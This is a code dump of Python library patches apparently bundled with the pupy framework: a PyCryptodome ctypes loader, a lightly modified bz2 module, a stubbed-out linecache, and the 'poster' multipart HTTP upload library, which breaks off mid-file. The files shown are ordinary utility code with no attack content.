NAMESPACE_URL = UUID('6ba7b811-9dad-11d1-80b4-00c04fd430c8')
NAMESPACE_OID = UUID('6ba7b812-9dad-11d1-80b4-00c04fd430c8')
NAMESPACE_X500 = UUID('6ba7b814-9dad-11d1-80b4-00c04fd430c8')


================================================
FILE: pupy/library_patches_py3/Crypto/Util/_raw_api.py
================================================
# ===================================================================
#
# Copyright (c) 2014, Legrandin <helderijs@gmail.com>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright
#    notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer in
#    the documentation and/or other materials provided with the
#    distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
# ===================================================================

import abc
import sys

import ctypes
from ctypes import (CDLL, c_void_p, byref, c_ulong, c_ulonglong, c_size_t,
                    create_string_buffer, c_ubyte, c_uint)
from ctypes.util import find_library
from ctypes import Array as _Array

from Crypto.Util.py3compat import byte_string
from Crypto.Util._file_system import pycryptodome_filename

#
# List of file suffixes for Python extensions
#
if sys.version_info[0] < 3:

    import imp
    extension_suffixes = []
    for ext, mod, typ in imp.get_suffixes():
        if typ == imp.C_EXTENSION:
            extension_suffixes.append(ext)

else:

    from importlib import machinery
    extension_suffixes = machinery.EXTENSION_SUFFIXES

# Which types with buffer interface we support (apart from byte strings)
if sys.version_info[0] == 2 and sys.version_info[1] < 7:
    _buffer_type = (bytearray)
else:
    _buffer_type = (bytearray, memoryview)


null_pointer = None


class _VoidPointer(object):
    @abc.abstractmethod
    def get(self):
        """Return the memory location we point to"""
        return

    @abc.abstractmethod
    def address_of(self):
        """Return a raw pointer to this pointer"""
        return


def load_lib(name, cdecl):
    import platform
    bits, linkage = platform.architecture()
    if "." not in name and not linkage.startswith("Win"):
        full_name = find_library(name)
        if full_name is None:
            raise OSError("Cannot load library '%s'" % name)
        name = full_name
    return CDLL(name)


def get_c_string(c_string):
    return c_string.value

def get_raw_buffer(buf):
    return buf.raw

# ---- Get raw pointer ---

if sys.version_info[0] == 2 and sys.version_info[1] == 6:
    # ctypes in 2.6 does not define c_ssize_t. Replacing it
    # with c_size_t keeps the structure correctely laid out
    _c_ssize_t = c_size_t
else:
    _c_ssize_t = ctypes.c_ssize_t

_PyBUF_SIMPLE = 0
_PyObject_GetBuffer = ctypes.pythonapi.PyObject_GetBuffer
_PyBuffer_Release = ctypes.pythonapi.PyBuffer_Release
_py_object = ctypes.py_object
_c_ssize_p = ctypes.POINTER(_c_ssize_t)


# See Include/object.h for CPython
# and https://github.com/pallets/click/blob/master/click/_winconsole.py
class _Py_buffer(ctypes.Structure):
    _fields_ = [
        ('buf',         c_void_p),
        ('obj',         ctypes.py_object),
        ('len',         _c_ssize_t),
        ('itemsize',    _c_ssize_t),
        ('readonly',    ctypes.c_int),
        ('ndim',        ctypes.c_int),
        ('format',      ctypes.c_char_p),
        ('shape',       _c_ssize_p),
        ('strides',     _c_ssize_p),
        ('suboffsets',  _c_ssize_p),
        ('internal',    c_void_p)
    ]

    # Extra field for CPython 2.6/2.7
    if sys.version_info[0] == 2:
        _fields_.insert(-1, ('smalltable', _c_ssize_t * 2))

def c_uint8_ptr(data):
    if byte_string(data) or isinstance(data, _Array):
        return data
    elif isinstance(data, _buffer_type):
        obj = _py_object(data)
        buf = _Py_buffer()
        _PyObject_GetBuffer(obj, byref(buf), _PyBUF_SIMPLE)
        try:
            buffer_type = c_ubyte * buf.len
            return buffer_type.from_address(buf.buf)
        finally:
            _PyBuffer_Release(byref(buf))
    else:
        raise TypeError("Object type %s cannot be passed to C code" % type(data))

# ---


class VoidPointer_ctypes(_VoidPointer):
    """Model a newly allocated pointer to void"""

    def __init__(self):
        self._p = c_void_p()

    def get(self):
        return self._p

    def address_of(self):
        return byref(self._p)

def VoidPointer():
    return VoidPointer_ctypes()

backend = "ctypes"
del ctypes


class SmartPointer(object):
    """Class to hold a non-managed piece of memory"""

    def __init__(self, raw_pointer, destructor):
        self._raw_pointer = raw_pointer
        self._destructor = destructor

    def get(self):
        return self._raw_pointer

    def release(self):
        rp, self._raw_pointer = self._raw_pointer, None
        return rp

    def __del__(self):
        try:
            if self._raw_pointer is not None:
                self._destructor(self._raw_pointer)
                self._raw_pointer = None
        except AttributeError:
            pass


def load_pycryptodome_raw_lib(name, cdecl):
    """Load a shared library and return a handle to it.

    @name,  the name of the library expressed as a PyCryptodome module,
            for instance Crypto.Cipher._raw_cbc.

    @cdecl, the C function declarations.
    """

    split = name.split(".")
    dir_comps, basename = split[:-1], split[-1]
    attempts = []
    for ext in extension_suffixes:
        try:
            filename = basename + ext
            return load_lib(pycryptodome_filename(dir_comps, filename),
                            cdecl)
        except OSError as exp:
            attempts.append("Trying '%s': %s" % (filename, str(exp)))
    raise OSError("Cannot load native module '%s': %s" % (name, ", ".join(attempts)))


if sys.version_info[:2] != (2, 6):

    def is_buffer(x):
        """Return True if object x supports the buffer interface"""
        return isinstance(x, (bytes, bytearray, memoryview))

    def is_writeable_buffer(x):
        return (isinstance(x, bytearray) or
                (isinstance(x, memoryview) and not x.readonly))

else:

    def is_buffer(x):
        return isinstance(x, (bytes, bytearray))

    def is_writeable_buffer(x):
        return isinstance(x, bytearray)


================================================
FILE: pupy/library_patches_py3/bz2.py
================================================
"""Interface to the libbzip2 compression library.

This module provides a file interface, classes for incremental
(de)compression, and functions for one-shot (de)compression.
"""

__all__ = ["BZ2File", "BZ2Compressor", "BZ2Decompressor",
           "open", "compress", "decompress"]

__author__ = "Nadeem Vawda <nadeem.vawda@gmail.com>"

import sys
_builtin_open=None
import io
import os
import _compression

from _bz2 import BZ2Compressor, BZ2Decompressor


_MODE_CLOSED   = 0
_MODE_READ     = 1
# Value 2 no longer used
_MODE_WRITE    = 3


class BZ2File(_compression.BaseStream):

    """A file object providing transparent bzip2 (de)compression.

    A BZ2File can act as a wrapper for an existing file object, or refer
    directly to a named file on disk.

    Note that BZ2File provides a *binary* file interface - data read is
    returned as bytes, and data to be written should be given as bytes.
    """

    def __init__(self, filename, mode="r", *, compresslevel=9):
        """Open a bzip2-compressed file.

        If filename is a str, bytes, or PathLike object, it gives the
        name of the file to be opened. Otherwise, it should be a file
        object, which will be used to read or write the compressed data.

        mode can be 'r' for reading (default), 'w' for (over)writing,
        'x' for creating exclusively, or 'a' for appending. These can
        equivalently be given as 'rb', 'wb', 'xb', and 'ab'.

        If mode is 'w', 'x' or 'a', compresslevel can be a number between 1
        and 9 specifying the level of compression: 1 produces the least
        compression, and 9 (default) produces the most compression.

        If mode is 'r', the input file may be the concatenation of
        multiple compressed streams.
        """
        self._fp = None
        self._closefp = False
        self._mode = _MODE_CLOSED

        if not (1 <= compresslevel <= 9):
            raise ValueError("compresslevel must be between 1 and 9")

        if mode in ("", "r", "rb"):
            mode = "rb"
            mode_code = _MODE_READ
        elif mode in ("w", "wb"):
            mode = "wb"
            mode_code = _MODE_WRITE
            self._compressor = BZ2Compressor(compresslevel)
        elif mode in ("x", "xb"):
            mode = "xb"
            mode_code = _MODE_WRITE
            self._compressor = BZ2Compressor(compresslevel)
        elif mode in ("a", "ab"):
            mode = "ab"
            mode_code = _MODE_WRITE
            self._compressor = BZ2Compressor(compresslevel)
        else:
            raise ValueError("Invalid mode: %r" % (mode,))

        if isinstance(filename, (str, bytes, os.PathLike)):
            if _builtin_open == None:
                import builtins
                _builtin_open=builtins.open
            self._fp = _builtin_open(filename, mode)
            self._closefp = True
            self._mode = mode_code
        elif hasattr(filename, "read") or hasattr(filename, "write"):
            self._fp = filename
            self._mode = mode_code
        else:
            raise TypeError("filename must be a str, bytes, file or PathLike object")

        if self._mode == _MODE_READ:
            raw = _compression.DecompressReader(self._fp,
                BZ2Decompressor, trailing_error=OSError)
            self._buffer = io.BufferedReader(raw)
        else:
            self._pos = 0

    def close(self):
        """Flush and close the file.

        May be called more than once without error. Once the file is
        closed, any other operation on it will raise a ValueError.
        """
        if self._mode == _MODE_CLOSED:
            return
        try:
            if self._mode == _MODE_READ:
                self._buffer.close()
            elif self._mode == _MODE_WRITE:
                self._fp.write(self._compressor.flush())
                self._compressor = None
        finally:
            try:
                if self._closefp:
                    self._fp.close()
            finally:
                self._fp = None
                self._closefp = False
                self._mode = _MODE_CLOSED
                self._buffer = None

    @property
    def closed(self):
        """True if this file is closed."""
        return self._mode == _MODE_CLOSED

    def fileno(self):
        """Return the file descriptor for the underlying file."""
        self._check_not_closed()
        return self._fp.fileno()

    def seekable(self):
        """Return whether the file supports seeking."""
        return self.readable() and self._buffer.seekable()

    def readable(self):
        """Return whether the file was opened for reading."""
        self._check_not_closed()
        return self._mode == _MODE_READ

    def writable(self):
        """Return whether the file was opened for writing."""
        self._check_not_closed()
        return self._mode == _MODE_WRITE

    def peek(self, n=0):
        """Return buffered data without advancing the file position.

        Always returns at least one byte of data, unless at EOF.
        The exact number of bytes returned is unspecified.
        """
        self._check_can_read()
        # Relies on the undocumented fact that BufferedReader.peek()
        # always returns at least one byte (except at EOF), independent
        # of the value of n
        return self._buffer.peek(n)

    def read(self, size=-1):
        """Read up to size uncompressed bytes from the file.

        If size is negative or omitted, read until EOF is reached.
        Returns b'' if the file is already at EOF.
        """
        self._check_can_read()
        return self._buffer.read(size)

    def read1(self, size=-1):
        """Read up to size uncompressed bytes, while trying to avoid
        making multiple reads from the underlying stream. Reads up to a
        buffer's worth of data if size is negative.

        Returns b'' if the file is at EOF.
        """
        self._check_can_read()
        if size < 0:
            size = io.DEFAULT_BUFFER_SIZE
        return self._buffer.read1(size)

    def readinto(self, b):
        """Read bytes into b.

        Returns the number of bytes read (0 for EOF).
        """
        self._check_can_read()
        return self._buffer.readinto(b)

    def readline(self, size=-1):
        """Read a line of uncompressed bytes from the file.

        The terminating newline (if present) is retained. If size is
        non-negative, no more than size bytes will be read (in which
        case the line may be incomplete). Returns b'' if already at EOF.
        """
        if not isinstance(size, int):
            if not hasattr(size, "__index__"):
                raise TypeError("Integer argument expected")
            size = size.__index__()
        self._check_can_read()
        return self._buffer.readline(size)

    def readlines(self, size=-1):
        """Read a list of lines of uncompressed bytes from the file.

        size can be specified to control the number of lines read: no
        further lines will be read once the total size of the lines read
        so far equals or exceeds size.
        """
        if not isinstance(size, int):
            if not hasattr(size, "__index__"):
                raise TypeError("Integer argument expected")
            size = size.__index__()
        self._check_can_read()
        return self._buffer.readlines(size)

    def write(self, data):
        """Write a byte string to the file.

        Returns the number of uncompressed bytes written, which is
        always the length of data in bytes. Note that due to buffering,
        the file on disk may not reflect the data written until close()
        is called.
        """
        self._check_can_write()
        if isinstance(data, (bytes, bytearray)):
            length = len(data)
        else:
            # accept any data that supports the buffer protocol
            data = memoryview(data)
            length = data.nbytes

        compressed = self._compressor.compress(data)
        self._fp.write(compressed)
        self._pos += length
        return length

    def writelines(self, seq):
        """Write a sequence of byte strings to the file.

        Returns the number of uncompressed bytes written.
        seq can be any iterable yielding byte strings.

        Line separators are not added between the written byte strings.
        """
        return _compression.BaseStream.writelines(self, seq)

    def seek(self, offset, whence=io.SEEK_SET):
        """Change the file position.

        The new position is specified by offset, relative to the
        position indicated by whence. Values for whence are:

            0: start of stream (default); offset must not be negative
            1: current stream position
            2: end of stream; offset must not be positive

        Returns the new file position.

        Note that seeking is emulated, so depending on the parameters,
        this operation may be extremely slow.
        """
        self._check_can_seek()
        return self._buffer.seek(offset, whence)

    def tell(self):
        """Return the current file position."""
        self._check_not_closed()
        if self._mode == _MODE_READ:
            return self._buffer.tell()
        return self._pos


def open(filename, mode="rb", compresslevel=9,
         encoding=None, errors=None, newline=None):
    """Open a bzip2-compressed file in binary or text mode.

    The filename argument can be an actual filename (a str, bytes, or
    PathLike object), or an existing file object to read from or write
    to.

    The mode argument can be "r", "rb", "w", "wb", "x", "xb", "a" or
    "ab" for binary mode, or "rt", "wt", "xt" or "at" for text mode.
    The default mode is "rb", and the default compresslevel is 9.

    For binary mode, this function is equivalent to the BZ2File
    constructor: BZ2File(filename, mode, compresslevel). In this case,
    the encoding, errors and newline arguments must not be provided.

    For text mode, a BZ2File object is created, and wrapped in an
    io.TextIOWrapper instance with the specified encoding, error
    handling behavior, and line ending(s).

    """
    if "t" in mode:
        if "b" in mode:
            raise ValueError("Invalid mode: %r" % (mode,))
    else:
        if encoding is not None:
            raise ValueError("Argument 'encoding' not supported in binary mode")
        if errors is not None:
            raise ValueError("Argument 'errors' not supported in binary mode")
        if newline is not None:
            raise ValueError("Argument 'newline' not supported in binary mode")

    bz_mode = mode.replace("t", "")
    binary_file = BZ2File(filename, bz_mode, compresslevel=compresslevel)

    if "t" in mode:
        encoding = io.text_encoding(encoding)
        return io.TextIOWrapper(binary_file, encoding, errors, newline)
    else:
        return binary_file


def compress(data, compresslevel=9):
    """Compress a block of data.

    compresslevel, if given, must be a number between 1 and 9.

    For incremental compression, use a BZ2Compressor object instead.
    """
    comp = BZ2Compressor(compresslevel)
    return comp.compress(data) + comp.flush()


def decompress(data):
    """Decompress a block of data.

    For incremental decompression, use a BZ2Decompressor object instead.
    """
    results = []
    while data:
        decomp = BZ2Decompressor()
        try:
            res = decomp.decompress(data)
        except OSError:
            if results:
                break  # Leftover data is not a valid bzip2 stream; ignore it.
            else:
                raise  # Error on the first iteration; bail out.
        results.append(res)
        if not decomp.eof:
            raise ValueError("Compressed data ended before the "
                             "end-of-stream marker was reached")
        data = decomp.unused_data
    return b"".join(results)


================================================
FILE: pupy/library_patches_py3/linecache.py
================================================
__all__ = ["getline", "clearcache", "checkcache", "lazycache"]

def getline(filename, lineno, module_globals=None):
    return ''


def clearcache():
    pass


def getlines(filename, module_globals=None):
    return []

def getline(filename, lineno, module_globals=None):
    return ''


def checkcache(filename=None):
    pass


def updatecache(filename, module_globals=None):
    pass

def lazycache(filename, module_globals):
    return False


================================================
FILE: pupy/library_patches_py3/poster/__init__.py
================================================
# Copyright (c) 2011 Chris AtLee
# 
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# 
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# 
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
"""poster module

Support for streaming HTTP uploads, and multipart/form-data encoding

```poster.version``` is a 3-tuple of integers representing the version number.
New releases of poster will always have a version number that compares greater
than an older version of poster.
New in version 0.6."""

import poster.streaminghttp
import poster.encode

version = (0, 8, 2) # Thanks JP!


================================================
FILE: pupy/library_patches_py3/poster/encode.py
================================================
"""multipart/form-data encoding module

This module provides functions that faciliate encoding name/value pairs
as multipart/form-data suitable for a HTTP POST or PUT request.

multipart/form-data is the standard way to upload files over HTTP"""

__all__ = ['gen_boundary', 'encode_and_quote', 'MultipartParam',
        'encode_string', 'encode_file_header', 'get_body_size', 'get_headers',
        'multipart_encode']

try:
    import uuid
    def gen_boundary():
        """Returns a random string to use as the boundary for a message"""
        return uuid.uuid4().hex
except ImportError:
    import random, sha
    def gen_boundary():
        """Returns a random string to use as the boundary for a message"""
        bits = random.getrandbits(160)
        return sha.new(str(bits)).hexdigest()

import sys
import urllib
import re
import os
import mimetypes

from email.header import Header

if sys.version_info.major > 2:
    unicode = str


def encode_and_quote(data):
    """If ``data`` is unicode, return urllib.quote_plus(data.encode("utf-8"))
    otherwise return urllib.quote_plus(data)"""
    if data is None:
        return None

    if isinstance(data, unicode):
        data = data.encode("utf-8")
    return urllib.quote_plus(data)

def _strify(s):
    """If s is a unicode string, encode it to UTF-8 and return the results,
    otherwise return str(s), or None if s is None"""
    if s is None:
        return None
    if isinstance(s, unicode):
        return s.encode("utf-8")
    return str(s)

class MultipartParam(object):
    """Represents a single parameter in a multipart/form-data request

    ``name`` is the name of this parameter.

    If ``value`` is set, it must be a string or unicode object to use as the
    data for this parameter.

    If ``filename`` is set, it is what to say that this parameter's filename
    is.  Note that this does not have to be the actual filename any local file.

    If ``filetype`` is set, it is used as the Content-Type for this parameter.
    If unset it defaults to "text/plain; charset=utf8"

    If ``filesize`` is set, it specifies the length of the file ``fileobj``

    If ``fileobj`` is set, it must be a file-like object that supports
    .read().

    Both ``value`` and ``fileobj`` must not be set, doing so will
    raise a ValueError assertion.

    If ``fileobj`` is set, and ``filesize`` is not specified, then
    the file's size will be determined first by stat'ing ``fileobj``'s
    file descriptor, and if that fails, by seeking to the end of the file,
    recording the current position as the size, and then by seeking back to the
    beginning of the file.

    ``cb`` is a callable which will be called from iter_encode with (self,
    current, total), representing the current parameter, current amount
    transferred, and the total size.
    """
    def __init__(self, name, value=None, filename=None, filetype=None,
                        filesize=None, fileobj=None, cb=None):
        self.name = Header(name).encode()
        self.value = _strify(value)
        if filename is None:
            self.filename = None
        else:
            if isinstance(filename, unicode):
                # Encode with XML entities
                self.filename = filename.encode("ascii", "xmlcharrefreplace")
            else:
                self.filename = str(filename)
            self.filename = self.filename.encode("string_escape").\
                    replace('"', '\\"')
        self.filetype = _strify(filetype)

        self.filesize = filesize
        self.fileobj = fileobj
        self.cb = cb

        if self.value is not None and self.fileobj is not None:
            raise ValueError("Only one of value or fileobj may be specified")

        if fileobj is not None and filesize is None:
            # Try and determine the file size
            try:
                self.filesize = os.fstat(fileobj.fileno()).st_size
            except (OSError, AttributeError):
                try:
                    fileobj.seek(0, 2)
                    self.filesize = fileobj.tell()
                    fileobj.seek(0)
                except:
                    raise ValueError("Could not determine filesize")

    def __cmp__(self, other):
        attrs = ['name', 'value', 'filename', 'filetype', 'filesize', 'fileobj']
        myattrs = [getattr(self, a) for a in attrs]
        oattrs = [getattr(other, a) for a in attrs]
        return cmp(myattrs, oattrs)

    def reset(self):
        if self.fileobj is not None:
            self.fileobj.seek(0)
        elif self.value is None:
            raise ValueError("Don't know how to reset this parameter")

    @classmethod
    def from_file(cls, paramname, filename):
        """Returns a new MultipartParam object constructed from the local
        file at ``filename``.

        ``filesize`` is determined by os.path.getsize(``filename``)

        ``filetype`` is determined by mimetypes.guess_type(``filename``)[0]

        ``filename`` is set to os.path.basename(``filename``)
        """

        return cls(paramname, filename=os.path.basename(filename),
                filetype=mimetypes.guess_type(filename)[0],
                filesize=os.path.getsize(filename),
                fileobj=open(filename, "rb"))

    @classmethod
    def from_params(cls, params):
        """Returns a list of MultipartParam objects from a sequence of
        name, value pairs, MultipartParam instances,
        or from a mapping of names to values

        The values may be strings or file objects, or MultipartParam objects.
        MultipartParam object names must match the given names in the
        name,value pairs or mapping, if applicable."""
        if hasattr(params, 'items'):
            params = params.items()

        retval = []
        for item in params:
            if isinstance(item, cls):
                retval.append(item)
                continue
            name, value = item
            if isinstance(value, cls):
                assert value.name == name
                retval.append(value)
                continue
            if hasattr(value, 'read'):
                # Looks like a file object
                filename = getattr(value, 'name', None)
                if filename is not None:
                    filetype = mimetypes.guess_type(filename)[0]
                else:
                    filetype = None

                retval.append(cls(name=name, filename=filename,
                    filetype=filetype, fileobj=value))
            else:
                retval.append(cls(name, value))
        return retval

    def encode_hdr(self, boundary):
        """Returns the header of the encoding of this parameter"""
        boundary = encode_and_quote(boundary)

        headers = ["--%s" % boundary]

        if self.filename:
            disposition = 'form-data; name="%s"; filename="%s"' % (self.name,
                    self.filename)
        else:
            disposition = 'form-data; name="%s"' % self.name

        headers.append("Content-Disposition: %s" % disposition)

        if self.filetype:
            filetype = self.filetype
        else:
            filetype = "text/plain; charset=utf-8"

        headers.append("Content-Type: %s" % filetype)

        headers.append("")
        headers.append("")

        return "\r\n".join(headers)

    def encode(self, boundary):
        """Returns the string encoding of this parameter"""
        if self.value is None:
            value = self.fileobj.read()
        else:
            value = self.value

        if re.search("^--%s$" % re.escape(boundary), value, re.M):
            raise ValueError("boundary found in encoded string")

        return "%s%s\r\n" % (self.encode_hdr(boundary), value)

    def iter_encode(self, boundary, blocksize=4096):
        """Yields the encoding of this parameter
        If self.fileobj is set, then blocks of ``blocksize`` bytes are read and
        yielded."""
        total = self.get_size(boundary)
        current = 0
        if self.value is not None:
            block = self.encode(boundary)
            current += len(block)
            yield block
            if self.cb:
                self.cb(self, current, total)
        else:
            block = self.encode_hdr(boundary)
            current += len(block)
            yield block
            if self.cb:
                self.cb(self, current, total)
            last_block = ""
            encoded_boundary = "--%s" % encode_and_quote(boundary)
            boundary_exp = re.compile("^%s$" % re.escape(encoded_boundary),
                    re.M)
            while True:
                block = self.fileobj.read(blocksize)
                if not block:
                    current += 2
                    yield "\r\n"
                    if self.cb:
                        self.cb(self, current, total)
                    break
                last_block += block
                if boundary_exp.search(last_block):
                    raise ValueError("boundary found in file data")
                last_block = last_block[-len(encoded_boundary)-2:]
                current += len(block)
                yield block
                if self.cb:
                    self.cb(self, current, total)

    def get_size(self, boundary):
        """Returns the size in bytes that this param will be when encoded
        with the given boundary."""
        if self.filesize is not None:
            valuesize = self.filesize
        else:
            valuesize = len(self.value)

        return len(self.encode_hdr(boundary)) + 2 + valuesize

def encode_string(boundary, name, value):
    """Returns ``name`` and ``value`` encoded as a multipart/form-data
    variable.  ``boundary`` is the boundary string used throughout
    a single request to separate variables."""

    return MultipartParam(name, value).encode(boundary)

def encode_file_header(boundary, paramname, filesize, filename=None,
        filetype=None):
    """Returns the leading data for a multipart/form-data field that contains
    file data.

    ``boundary`` is the boundary string used throughout a single request to
    separate variables.

    ``paramname`` is the name of the variable in this request.

    ``filesize`` is the size of the file data.

    ``filename`` if specified is the filename to give to this field.  This
    field is only useful to the server for determining the original filename.

    ``filetype`` if specified is the MIME type of this file.

    The actual file data should be sent after this header has been sent.
    """

    return MultipartParam(paramname, filesize=filesize, filename=filename,
            filetype=filetype).encode_hdr(boundary)

def get_body_size(params, boundary):
    """Returns the number of bytes that the multipart/form-data encoding
    of ``params`` will be."""
    size = sum(p.get_size(boundary) for p in MultipartParam.from_params(params))
    return size + len(boundary) + 6

def get_headers(params, boundary):
    """Returns a dictionary with Content-Type and Content-Length headers
    for the multipart/form-data encoding of ``params``."""
    headers = {}
    boundary = urllib.quote_plus(boundary)
    headers['Content-Type'] = "multipart/form-data; boundary=%s" % boundary
    headers['Content-Length'] = str(get_body_size(params, boundary))
    return headers

class multipart_yielder:
    def __init__(self, params, boundary, cb):
        self.params = params
        self.boundary = boundary
        self.cb = cb

        self.i = 0
        self.p = None
        self.param_iter = None
        self.current = 0
        self.total = get_body_size(params, boundary)

    def __iter__(self):
        return self

    def next(self):
        """generator function to yield multipart/form-data representation
        of parameters"""
        if self.param_iter is not None:
            try:
                block = self.param_iter.next()
                self.current += len(block)
                if self.cb:
                    self.cb(self.p, self.current, self.total)
                return block
            except StopIteration:
                self.p = None
                self.param_iter = None

        if self.i is None:
            raise StopIteration
        elif self.i >= len(self.params):
            self.param_iter = None
            self.p = None
            self.i = None
            block = "--%s--\r\n" % self.boundary
            self.current += len(block)
            if self.cb:
                self.cb(self.p, self.current, self.total)
            return block

        self.p = self.params[self.i]
        self.param_iter = self.p.iter_encode(self.boundary)
        self.i += 1
        return self.next()

    def reset(self):
        self.i = 0
        self.current = 0
        for param in self.params:
            param.reset()

def multipart_encode(params, boundary=None, cb=None):
    """Encode ``params`` as multipart/form-data.

    ``params`` should be a sequence of (name, value) pairs or MultipartParam
    objects, or a mapping of names to values.
    Values are either strings parameter values, or file-like objects to use as
    the parameter value.  The file-like objects must support .read() and either
    .fileno() or both .seek() and .tell().

    If ``boundary`` is set, then it as used as the MIME boundary.  Otherwise
    a randomly generated boundary will be used.  In either case, if the
    boundary string appears in the parameter values a ValueError will be
    raised.

    If ``cb`` is set, it should be a callback which will get called as blocks
    of data are encoded.  It will be called with (param, current, total),
    indicating the current parameter being encoded, the current amount encoded,
    and the total amount to encode.

    Returns a tuple of `datagen`, `headers`, where `datagen` is a
    generator that will yield blocks of data that make up the encoded
    parameters, and `headers` is a dictionary with the assoicated
    Content-Type and Content-Length headers.

    Examples:

    >>> datagen, headers = multipart_encode( [("key", "value1"), ("key", "value2")] )
    >>> s = "".join(datagen)
    >>> assert "value2" in s and "value1" in s

    >>> p = MultipartParam("key", "value2")
    >>> datagen, headers = multipart_encode( [("key", "value1"), p] )
    >>> s = "".join(datagen)
    >>> assert "value2" in s and "value1" in s

    >>> datagen, headers = multipart_encode( {"key": "value1"} )
    >>> s = "".join(datagen)
    >>> assert "value2" not in s and "value1" in s

    """
    if boundary is None:
        boundary = gen_boundary()
    else:
        boundary = urllib.quote_plus(boundary)

    headers = get_headers(params, boundary)
    params = MultipartParam.from_params(params)

    return multipart_yielder(params, boundary, cb), headers


================================================
FILE: pupy/library_patches_py3/poster/streaminghttp.py
================================================
"""Streaming HTTP uploads module.

This module extends the standard httplib and urllib2 objects so that
iterable objects can be used in the body of HTTP requests.

In most cases all one should have to do is call :func:`register_openers()`
to register the new streaming http handlers which will take priority over
the default handlers, and then you can use iterable objects in the body
of HTTP requests.

**N.B.** You must specify a Content-Length header if using an iterable object
since there is no way to determine in advance the total size that will be
yielded, and there is no way to reset an interator.

Example usage:

>>> from StringIO import StringIO
>>> import urllib2, poster.streaminghttp

>>> opener = poster.streaminghttp.register_openers()

>>> s = "Test file data"
>>> f = StringIO(s)

>>> req = urllib2.Request("http://localhost:5000", f,
...                       {'Content-Length': str(len(s))})
"""

import sys
import socket

from errno import EPIPE

if sys.version_info.major > 2:
    from http.client import NotConnected, HTTPConnection, HTTPSConnection
    from urllib.request import (
        build_opener, install_opener,
        Request, HTTPHandler, HTTPSHandler, HTTPRedirectHandler
    )
    from urllib.error import HTTPError
else:
    from urllib2 import (
        build_opener, install_opener,
        Request, HTTPHandler, HTTPSHandler,
        HTTPRedirectHandler, HTTPError
    )
    from httplib import HTTPConnection, HTTPSConnection, NotConnected

__all__ = [
    'StreamingHTTPConnection', 'StreamingHTTPRedirectHandler',
    'StreamingHTTPSHandler', 'StreamingHTTPSConnection',
    'StreamingHTTPHandler', 'register_openers'
]


class _StreamingHTTPMixin:
    """Mixin class for HTTP and HTTPS connections that implements a streaming
    send method."""
    def send(self, value):
        """Send ``value`` to the server.

        ``value`` can be a string object, a file-like object that supports
        a .read() method, or an iterable object that supports a .next()
        method.
        """
        # Based on python 2.6's httplib.HTTPConnection.send()
        if self.sock is None:
            if self.auto_open:
                self.connect()
            else:
                raise NotConnected()

        # send the data to the server. if we get a broken pipe, then close
        # the socket. we want to reconnect when somebody tries to send again.
        #
        # NOTE: we DO propagate the error, though, because we cannot simply
        #       ignore the error... the caller will know if they can retry.
        if self.debuglevel > 0:
            print("send:", repr(value))
        try:
            blocksize = 8192
            if hasattr(value, 'read'):
                if hasattr(value, 'seek'):
                    value.seek(0)
                if self.debuglevel > 0:
                    print("sending a readable")
                data = value.read(blocksize)
                while data:
                    self.sock.sendall(data)
                    data = value.read(blocksize)
            elif hasattr(value, 'next'):
                if hasattr(value, 'reset'):
                    value.reset()
                if self.debuglevel > 0:
                    print("sending an iterable")
                for data in value:
                    self.sock.sendall(data)
            else:
                self.sock.sendall(value)
        except socket.error as v:
            if v[0] == EPIPE:
                self.close()

            raise


class StreamingHTTPConnection(_StreamingHTTPMixin, HTTPConnection):
    """Subclass of `httplib.HTTPConnection` that overrides the `send()` method
    to support iterable body objects"""


class StreamingHTTPRedirectHandler(HTTPRedirectHandler):
    """Subclass of `urllib2.HTTPRedirectHandler` that overrides the
    `redirect_request` method to properly handle redirected POST requests

    This class is required because python 2.5's HTTPRedirectHandler does
    not remove the Content-Type or Content-Length headers when requesting
    the new resource, but the body of the original request is not preserved.
    """

    handler_order = HTTPRedirectHandler.handler_order - 1

    # From python2.6 urllib2's HTTPRedirectHandler
    def redirect_request(self, req, fp, code, msg, headers, newurl):
        """Return a Request or None in response to a redirect.

        This is called by the http_error_30x methods when a
        redirection response is received.  If a redirection should
        take place, return a new Request to allow http_error_30x to
        perform the redirect.  Otherwise, raise HTTPError if no-one
        else should try to handle this url.  Return None if you can't
        but another Handler might.
        """
        m = req.get_method()
        if (code in (301, 302, 303, 307) and m in ("GET", "HEAD")
